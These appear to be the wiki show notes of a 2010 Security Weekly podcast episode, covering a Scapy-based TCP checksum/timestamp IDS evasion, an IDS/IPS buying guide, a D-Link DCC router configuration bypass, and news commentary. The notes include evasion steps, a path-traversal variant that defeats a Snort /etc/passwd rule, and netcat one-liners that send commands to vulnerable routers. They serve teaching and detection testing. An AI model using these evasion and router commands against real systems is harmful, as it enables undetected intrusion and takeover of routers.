From Security Weekly Wiki
Jump to navigationJump to search


Security Weekly - Episode 217 - For Thursday October 28th, 2010.

  • Mark Baggett teaches SANS 504 during SANS San Antonio for 6 days. Come learn Hacker Techniques, Exploits & Incident Handling! November 13th thru 20th.

Episode Media

MP3 pt 1

MP3 pt 2

Special Guest Tech Segment: Judy Novak presents "A Technique for Crafty Packet Evasion"

\Visit The Security Weekly YouTube Channel for all of our latest videos\!\}

Judy is a senior security analyst at works at G2 Inc. where she creates, trains, and performs research on IDS evasions. In the past, Judy served as a principal research engineer for Sourcefire doing development, testing, and research on packet reassembly. Judy has authored for SANS classes SEC503: Intrusion Detection In-Depth and SEC567: Power Packet Crafting with Scapy. Judy is the co-author of Network Intrusion Detection - An Analysts Handbook. You can catch more of Judy's work at the Packetstan blog

Look for Judy's "Power Packet Crafting Using Scapy" OnDemand class (SEC567) to be listed in the near future!

TCP Checksum IDS/IPS Evasion


This technical segment discusses an IDS/IPS evasion technique that may be effective if the targeted solution does not validate TCP checksums. Most IDS/IPS solutions validate TCP checksums; however, I performed some testing years ago and discovered a commercial solution that did not. I assume that this was for efficiency purposes to save some processing time on each TCP segment.

TCP is a very complex protocol and there are many nuances and operating-system implementations where opportunities for TCP evasions may exist. As Ptacek and Newsham discussed in their landmark paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection", evasions were and still are an issue. A TCP evasion is particularly nasty because any signature, rule, or protocol decode that examines TCP traffic can be circumvented. The majority of Internet traffic rides over TCP; therefore a TCP evasion can render a targeted IDS/IPS solution pretty ineffective.


This particular TCP evasion uses an invalid TCP checksum in conjunction with an "expired" TCP timestamp. TCP timestamps are optional values stored in the TCP options portion of the TCP header. Most modern operating systems use them. The notion of time in TCP timestamps is relative to the last reboot for most operating systems. A clock tick is not the same for all hosts, it is just important to know that the value increases until the next reboot. Therefore TCP segments that contain a TCP timestamp reflect greater values than those sent before them.

One use of timestamps is something known as Protection Against Wrapped Sequence numbers. This was meant to protect against timestamps wrapping back to zero and accidentally arriving at the same time as an older segment in the same window with a smaller timestamp value. It is unlikely that this will ever occur. A host that receives an older TCP timestamp in a TCP session should silently discard it.

TCP timestamp implementations vary significantly making them very useful for evasion techniques. If you'd like to learn more about them, look at the paper I co-authored with Steve Sturges "Target-based TCP Timestamp Technical Study - PDF "

A description of the particular evasion technique employed in this presentation follows. First, I'm going to craft traffic using Scapy, a Python application, where I send a SYN segment with a bad checksum and a sender 's TCP timestamp value of 100. Next, I'm going to send another identical SYN with a good checksum yet a TCP timestamp of 10. To complete the ruse, I'll send all the rest of the segments in the associated session, including evil content with a timestamp of 10.

If the IPS doesn't validate checksums, it should accept the SYN with the timestamp of 100 and ignore the duplicate SYN with the timestamp of 10. If the IPS properly processes TCP timestamp values, it discards all the subsequent segments because they have an older timestamp value of 10.

The receiving host discards the SYN segment with the bad checksum and timestamp value of 100. It accepts the second SYN with the good checksum and the lower timestamp value of 10. And, it accepts all subsequent segments including those with the evil content.

The consequences of this are that there is an evasion of any TCP traffic that uses this technique when the IPS doesn't validate the checksum.

Here is what the tcpdump output looks like:


I've abbreviated the output to show you relevant fields only. In packet 1 I've crafted a source IP of going to destination IP port 80 to have the SYN flag set and a sending TCP timestamp value of 100. Although you cannot see it reflected in the tcpdump output, I've also put a bad checksum value in the segment. Packet 2 is the same except it has a valid checksum and a TCP timestamp value of 10.

Packet 3 shows the acknowledgement of the three-way handshake. Packets 4 and 5 are the ones with payload. All have a TCP timestamp value of 10. Suppose there is a rule that looks for "EVILSTUFF" in an HTTP URL request. Packets 4 and 5 contain parts of this content. The content is split between the two segments to force the IPS to reassemble the segments. If the entire content of "EVILSTUFF" were placed in a single segment, it's possible that some IPS solutions may fire even though there is a bad checksum earlier. This is just a failsafe method most IPS solutions use in the event of dropped packets and malicious content is discovered in a single segment payload.

Scapy Program

Scapy is a Python application that makes packet crafting very easy and manageable as you'll discover as we craft the packets required to attempt this evasion.


The first part of the Scapy program is shown above. It imports the required modules first. All text that is in red is related to Scapy syntax. A random source port is generated and a destination IP of "" is defined. The next statement creates an instantiation of an IP header called "ip" using Scapy to define the IPv4 header using the "IP()" syntax. All the IP header field/values are assigned between the parentheses. A destination IP address is assigned and all other fields assume default values that Scapy uses in the IP header.

Next, the timestamp options are defined using a combination of a Python list and Scapy syntax. The notable field is the sender's timestamp value of 100. The TCP header is defined next as the variable "SYN". The Scapy syntax for defining the TCP header is similar to that of the IP header. Field values are assigned – the random source port, a destination port of 80, a SYN flag, a TCP sequence number of 10, a bad checksum value of 1234, and our previously defined TCP options. Next, a Scapy layer 3 send is used to send the packet that consists of the crafted IP header followed by the TCP header. The slash signifies to append one layer after the other.


Let's continue with the second part of the program. The TCP options are redefined in preparation for our duplicate SYN with a lower timestamp value of 10. Next, the duplicate SYN is created, but this time, it has a redefined timestamp value of 10 and no assigned checksum value. This allows Scapy to perform the accurate checksum computation. The next statement is the most complex of all so far. First, look on the right side of the equals sign. The new SYN segment is assembled as before, however this time a different Scapy send command is used. The "sr1" command not only sends the segment, but stores the matching response – in this case the SYN/ACK from the server. The matched frame is appropriately saved in the variable "SYNACK".

The reason that this is performed is because the third segment of the three-way handshake requires the client to acknowledge the server's SYN/ACK by incrementing the server's TCP sequence number by 1. And, that's what the next statement accomplishes. It takes the attribute associated with the instantiation of the SYN/ACK frame known as "seq" for the TCP sequence number, adds 1 to it, and stores it in the variable "my_ack". Also, the client SYN consumes one sequence number so it has to be incremented by 1.

Next, the TCP options are redefined to remove the maximum segment size since that should be found on the SYN segment only. The TCP timestamp value remains 10. The TCP header of the acknowledgement segment is created using the computed server's SYN/ACK value plus 1, an appropriate acknowledgement flag, and the new TCP sequence number. The packet is assembled and sent with the Scapy "send" command since we are not concerned with a response.


The final part of the program is seen above. A TCP header is crafted for the PUSH segment. It is the same as the ACK segment TCP header except it has the PUSH and ACK flags set. We send the first payload packet by appending the first part of the payload stored in "pay1" after the IP and TCP headers. The next TCP sequence number has to be computed by incrementing the current one with the number of bytes send in the variable "pay1". A second delay is introduced to allow the server time to process the packet.

The second payload segment is sent using the same logic as the first one. It contains the remainder of the original HTTP request we defined in variable "pay2". Finally, the connection is reset.


Unfortunately, we encounter some issues due to Scapy's use of raw sockets. Raw sockets allow you to alter all packet values, including all the IP and TCP header values along with the payload. We need to alter these fields in order to manipulate the TCP checksum and timestamp values as well as other header values. Scapy uses a raw socket API to write directly to the network card driver. This circumvents the TCP/IP stack. Why do you care?

When you send the crafted SYN using Scapy it does not pass through the TCP/IP stack. Therefore when the SYN/ACK is returned, the host that is used to craft the packets has a TCP/IP stack that looks for a matching SYN and finds none so it resets the connection. As far as it is concerned the SYN/ACK is a rogue unsolicited SYN/ACK. We have to find a resolution for this because a reset means game over.


We cannot stop the native TCP/IP stack from attempting to reject the “unsolicited rogue" returned packets from our crafted packets. But, we can prevent these reset packets from leaving the host. If we can block TCP resets from leaving the host, the destination host we’re communicating with will never receive them and will not reset the connection. The way we can do this is by telling iptables or the native host firewall to block the outbound resets.


The following iptables command resolves the issue:

   iptables -A OUTPUT -p tcp --tcp-flags RST RST  -s -d --destination-port 80 -j DROP


Assume that the python program is stored in a file called "multiple-syns.pcap". First, you need to be the root or superuser to craft Scapy packets. We'll capture the traffic from the Scapy program using tcpdump and write to a pcap file named "multiple-syns.pcap" using the following command:

 tcpdump –s0 -w multiple-syns.pcap  "port 80"

Run the program as follows:

   python multiple-syns.py

After this is done, we want to run Snort to demonstrate the implications of enabling/disabling TCP checksum validation. Specifically, we want to run it first with TCP checksum validation enabled – the default for the Snort TCP preprocessor stream5. We include a single rule to check for "EVILSTUFF" in the URL content. A second run using the same pcap file "multiple-syns.pcap" demonstrates the impact of disabling checksums.


The first configuration file is stored in file "normal.conf" and the second in "turnoff-checksums.conf". The first run of Snort uses the "normal.conf" configuration, the second uses "turnoff-checksums.conf". They both use command line switches to display the alerts to the screen, quiet start-up messages, disable logging and take input from the file "multiple-syns.pcap".

   snort –A console –q –K none –c normal.conf –r multiple-syns.pcap

10/16-04:40:53.086205  [**] [1:12345:0] EVILSTUFF [**] [Priority: 0] {TCP} ->

   snort –A console –q –K none –c turnoff-checksums.conf –r multiple-syns.pcap

10/16-04:40:53.033669  [**] [129:4:1] TCP Timestamp is outside of PAWS window [**] [Priority: 3] {TCP} ->
10/16-04:40:53.086205  [**] [129:4:1] TCP Timestamp is outside of PAWS window [**] [Priority: 3] {TCP} ->
10/16-04:40:54.134649  [**] [129:4:1] TCP Timestamp is outside of PAWS window [**] [Priority: 3] {TCP} ->


Snort alerts when allowed to use default configuration of performing TCP checksum validation. This is because it drops the SYN with bad checksum, but accepts one with good checksum. The SYN with the good checksum has a TCP timestamp value of 10 and all subsequent packets have a valid timestamp value of 10 and are accepted and scrutinized.

However, Snort does not alert when TCP checksum validation is disabled. This is because it keeps the SYN with bad checksum, ignores the SYN with the good checksum, and subsequently discards other segments with lower timestamp values and malicious content. The Snort stream5 preprocessor was configured with the "detect_anomalies", causing the second run to issue a warning that "TCP Timestamp is outside of PAWS window". This warning was generated for the three segments with a timestamp value of 10.


While this TCP evasion may not work against all IPS solutions, it demonstrates the methodology that can be used to attempt an evasion. There are many other TCP manipulations than using bad checksums that may cause TCP evasions issues for IDS/IPS solutions. That's because TCP reassembly is a complex process for an IDS/IPS to emulate perfectly.

If you are interested in learning more about Scapy, SANS is in the process of preparing the course I authored [SEC567 "Power Packet Crafting Using Scapy" http://www.sans.org/ondemand/courses.php]for OnDemand delivery to be listed soon.

Guest Interview: Felix "FX" Lindner

\Visit The Security Weekly YouTube Channel for all of our latest videos\!\}

FX runs the German based Recurity Labs, a security consulting and research company. FX's research topics include Cisco IOS, HP printers, SAP and RIM BlackBerry.

  1. How did you get your start in information Security?
  2. My most beloved tool that you've created is Hijetter, how did that all come about? Why do you think people don't pay attention to printer security?
  3. Tell us about your router exploitation work.
  4. How are you Defending the Poor
  5. How have the German security laws affected your work?

Tech Segment IDS / IPS - Darren Wigley

\Visit The Security Weekly YouTube Channel for all of our latest videos\!\}

What is an IPS / IDS?

IDS stands for intrusion detection system and IPS means Intrusion Prevention system. The only difference is that IPS can actively block traffic and IDS cannot only watch.

Vendor Considerations

The Marketing Numbers

They lie just a question of by how much. Just don't trust the numbers because they were derived in a ideal lab environment. They still do give you a good baseline to start with.

Bandwidth Considerations

make sure you get enough bandwidth to cover you for the life of the device. Plan for 3 years that is about the average life of a piece of IDS/IPS hardware. Don't get something that barely covers you right now and then have to buy all new devices next year.


There are two types of signatures open source, like with Snort and SourceFire. Or closed source like with nearly every other vendor. The difficulty is you may not get a clear picture of what a signature is looking for. Your just left to trust that the vendor did the right thing. This also means you may or may not have the ability to write your own signatures on the fly. Some vendors include user requested signatures as part of the maintenance package but some do not. Most Vendors today will read Snort style signatures so this is becoming less of a concern.

Ask what the frequency of signature releases is. Vulnerabilities are disclosed everyday. Does your $VENDOR have a release schedule that makes you happy? Ask how they have handled critical 0-days in the past.

How does the vendor make signatures do they have their own research team? make their own copy of the Snort signature feed? just write one for a new CVE?

Examples of a bad signature versus a good one... written for the exploit or the vulnerability?

Here is a good article I found on writing good signatures or what can go into writing your own signatures.

An example of poor signatures are ones written to look for a particular string in the packet. for an example I used this paper from 2002 but its still relevant. The example from the paper takes a snort signature that looks for /etc/passwd attempts.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-MISC/etc/passwd";flags: A+; content:"/etc/passwd"; nocase;classtype:attempted-recon; sid:1122; rev:1;)

This is fine to find what your looking for but what if we start doing something like /etc/rc.d/.././\passwd now I have defeated the signature and it will never fire if I change my attempt slightly. Again while writen in 2002 the paper is still a valid example of a poorly writen signature.

Fail out conditions

Nearly all devices will have a breaking point where they cannot process the traffic they are receiving. What happens when this condition occurs? Does the box just turtle over and give up? Does it simply start dropping packets. Will it fail closed and prevent network traffic flow until it can catch up? How can you be alerted when this condition exsists? Again this is all dependent on the risk your buisness wishes to take on. Can you absolutely not have network traffic passing uninspected? Then you may want to consider running IPS in fail closed mode.


What DDoS protection does your device offer and how is it configureable. Every environment is different.

Bypass Attacks

We know they exsist and so does the vendor. What do they do about it?


Metasploit, TCPREPLAY oh my

This may lead to another different tech segment but some thoughs are to set up a environment where you have Metaspoit attacking a vulnerable VM farm that is running DVL, and other old known vulnerable software. You could even have copies of what is already running in your environment you are looking to protect.

TCPREPLAY on the other hand is something we use cause we are more concerned with how a device generates alerts cause we are vendor neutral. For this I have a collection of Malicious Packet captueres that I have found on the web from DefCon competitions, Malware exapmples, and Packet data taken from what some of our devices have seen in the field.


Through put testing

I am not aware of any free ware tools to do this but there are products that can just push through raw traffic and see where your device starts to fail. Products made by Ixia and Breakingpoint can do this but cost money.

Management ease

Every vendor will have some sort of management interface for the devices. Depending on the size of your deployment you may just access the devices individually or have a central management console. Either way this is going to be just as important as any other aspect from a given vendor. If the method for deploying signature updates and policy changes is onerous and difficult, you or the security team may be lax in making updates cause the tools blow.



If you don't already have a visio or any diagram of your network now is the time to create one. This will allow you to look at a map and find where you want to watch traffic. Do you want to watch all partner connections? Everything that comes into the server farm? everything that comes into your ISP connection (i.e. before the firewall)

Also know where you are NOT seeing traffic. are you not watching client to client traffic on your network. So you will not see attempts of one infected client trying to infect another. This will allow you to see what you are accepting as a risk and why. It may simply be you don't have the budget to put sensors EVERYWHERE. This needs to be noted and documented and what risk a lower budget puts on the buisness. Always good CYA move.

Policy work

now its time to decide what to look for. Well everything right? WHOA hold on there cowboy. Most filter sets I have seen in my work are up to 10000 signatures. If you turn on all alerts then you will crush the box as now a devices has to compare each packet to 10000 different signatures. a device is only effective as the size of the policy... if you have one signature enabled it will be great at finding that one alert in your network, and scales down from there.

To start with most signatures from vendos are broken up into sub groups for OS and application. Start by enabling only the ones that you need protection. Not running windows in your web server farm? Then you probably don't need to enable signatures that look for windows attacks.

You will have false positives. It dosen't matter what the vendor promised in false positive reduction it can and will happen. So you will always be tunning. One of the common things I have seen is that internal groups made a custom application quick and dirty to hit a server and pull back data. This program causes some signature to trip that an attack is under way. You will either need to get your internal team to re-write the application to NOT cause the signature to fire or you will need to modify the signature to white list the traffic in quesiton or diable the signature all together. This is a never ending process for your organization as things are always changing just stay on top of it so your policy doesn't become stale only checking for 2 year old CVEs you patched a long long time ago.

Log Retention

Depending on what you have done for your policy you may need a TON of storage if you have a 12 month log retention policy and you have enabled full packet capture for all critical alerts. Rememer that depending on what you want to capture it can really add up over time.

On going monitoring

Who is going to be watching alerts come in and respond to them? Make sure those individuals get a say in the process. Make sure they have clearly documented operating procedures for how policies get updated, signature sets are deployed and what do do in the event of catastrophic IPS / IDS failure.

Mini-Tech Segment Of The Week: Dlink DCC Bypass

\Visit The Security Weekly YouTube Channel for all of our latest videos\!\}

I wrote up a blog post this week for the Tenable blog on this particular vulnerability:

D-Link DCC Protocol Security Bypass

Basically boils down to:

  • Dlink brand routers implement a protocol called DCC (dccd, or Dlink Click'n Connect).
  • Dlink Click'n Connect sounds like the old Linksys "Secure, Easy Setup". Making it easy for someone to configure their router
  • Unfortunately, this translates to letting everyone read and write your configuration because the service listens on UDP port 2003 and lets anyone send commands
  • The commands are largely undocumented, but Cristofaro Mune (http://www.icysilence.org) discovered the vulnerability published a few UDP messages (See below)
  • You could get a full command listing by installing the Dlink Click'n Connect software, configuring your router, and sniffing all the commands
  • A sample packet capture is below to get you started
  • You could create a Java applet that guesses the IP address of the router, and when loaded by a client, sends commands to UDP port 2003 of vulnerable routers
  • There is no patch for this vulnerability, and there is no way to disable this service
  • Also, the python commands from the Icy Silence web site are posted here as well

Happy Hunting!

Packet Capture

14:18:14.848249 IP > UDP, length 8
	0x0000:  4500 0024 eb20 4000 4011 cbfb c0a8 010d  E..$..@.@.......
	0x0010:  c0a8 014f cf29 07d3 0010 a51a 0000 0000  ...O.)..........
	0x0020:  0000 000a                                ....
14:18:14.848314 IP > UDP, length 8
	0x0000:  4500 0024 735d 0000 4011 83bf c0a8 014f  E..$s]..@......O
	0x0010:  c0a8 010d 07d3 cf29 0010 ae1a 0000 f5ff  .......)........
	0x0020:  0000 010a 0000 0000 0000 0000 0000       ..............
14:18:14.851097 IP > UDP, length 12
	0x0000:  4500 0028 eb21 4000 4011 cbf6 c0a8 010d  E..(.!@.@.......
	0x0010:  c0a8 014f 9518 07d3 0014 bafc 0300 0000  ...O............
	0x0020:  0000 0000 2127 000a                      ....!'..
14:18:14.851217 IP > UDP, length 45
	0x0000:  4500 0049 735e 0000 4011 8399 c0a8 014f  E..Is^..@......O
	0x0010:  c0a8 010d 07d3 9518 0035 0183 0300 0000  .........5......
	0x0020:  0000 0100 2127 2100 7061 756c 646f 7463  ....!'!.pauldotc
	0x0030:  6f6d 2d62 7269 6467 6500 0000 0000 0000  om-bridge.......
	0x0040:  0000 0000 0000 0000 00                   .........
03 00 00 00 00 00 00 00 21 27 00 0a

Sending UDP Packets

[Note: I modified these commands, removing the "-o output.txt" as my version on netcat on OS X did not support this option]

python -c 'print "\x03" + "\x00" * 7 + "\x23\x27\x00\x00\x24\x27\x00"' | nc -u 2003
python -c 'print "\x03" + "\x00" * 7 + "\x21\x27\x00"' | nc  -u 2003

More Information

Video: http://data.proidea.org.pl/confidence/7edycja/materialy/video/Cristofaro%20Mune.mpg

Stories For Discussion

  1. SpyEye v. ZeuS Rivalry Ends in Quiet Merger - KrebsonSecurity - [InternMike] - We wish that malware business were required to file a 10K with the InfoSec community. We would love to get the back story on this "merger".
  2. The sheep the sheep is on fire! - [the other guy] - I like sheep. I like warm sheep. This sheep is on FIRE!!!
  3. NO, NO, NO a thousand times NO! - [Larry] - So, I see this vulnerability in HP Procurve switches that indicates a Security bypass that would have been asweome to use at a recent customer site. Even though I found it too late, I figured I check it out to keep in my back pocket for the next test, only to be met with "The vulnerability is caused due to an unspecified error and can be exploited to gain unauthorized access. No further information is currently available." Whiskey Tango Foxtrot. Ok, so why bother telling me about it, and jsut patching it silently. Discuss before I rant again.
  4. Defeating Credit Card Fraud - [Larry] - To me this is clearly cases of building a better mouse. As defender's we are always a step behind. However I thought that it was ironic that attack was interesting in that "they noticed withdrawals from 100 ATMs all over Canada within 10 minutes", but that "There's no way to catch this fraud with the fraud detection systems unless they start looking at location or behavior". Ummm…wait. Really? This coming from fraud detection stuff that thinks there is fraudulent activity buying international airfare IN THE NAME OF THE CARDHOLDER (yes, they get that info from that airline at time of purchase). This stuff sounds like an IDS that needs some tuning, which as we know can be difficult to accomplish.
  5. Just because we HAVE to mention it - Firesheep - [Larry] - Yes, the elephant in the room that everyone is talking about. Awesome too, and yes this is an attack that has been around for a long time; the change now is that is is so easy ANYONE who can install a browser plugin can do it. It think that once an attack has been made easy enough for the masses to use, that's when it starts getting some real traction.
  6. Failures Of Common Wisdom - [Paul] - AMEN BROTHER. Thats all I have to say this one. Check out Andrew Ginter, CTO of Abterra Technologies blog post. He says traditional methods do crap against something like stuxnet. Patch programs, Ha! Anti-Virus, what? Encryption, my ass! Stuxnet has 0day, Anti-Virus signatures didn't arrive until late July after it had already propagated, and rather than attack any encrypted protocols, it just infected the clients interacting with the control systems software (which by the way used S7 protocol, which was not using encryption in this case). So, there you have it, even if you still don't get it or want to understand it.
  7. Oh My God, Google has my unprotected data! - [Paul] - This is the same things as: You left your credit card in the street and someone took a picture of it. You are now pleading with them, "Please no, don't go on a shopping spree, please no don't sell it on the black market". Instead, you are asking the person to delete the picture. I've got a solution for you, don't leave your frackin' credit card in the damn street. Its the same thing with Wifi security, don't transmit your sensitive information. There will be a time when we don't have paper or credit cards, and everything will be digital, maybe then people will understand information security? Probably not, but one can dream, can't he?
  8. Cool Pivoting Example - [Paul] - Okay, Core is a sponsor, however this is a really neat example of how to use an already deployed agent to conduct a phishing attack, using a machine already belonging to your target to connect back to and send emails. Pretty slick. And to thing that some people think security ends at the perimeter, my philosophy is thats where it begins. My struggle is getting people to understand that.
  9. Firesheep: Arming the average person - [Paul] - My take on this is we need to do more of it. SSL implementations at many major web sites suck, so lets arm the people with the tools to exploit it. I think this is great, it gets people's attention, and lets face it, unless you are getting people's attention this way no one is going to change. So spread the word, teach everyone how to use this tool, post pictures of Larry half-naked on everyone's Facebook page too. Maybe then they will realize, Larry should always wear clothing.

Other Stories of Interest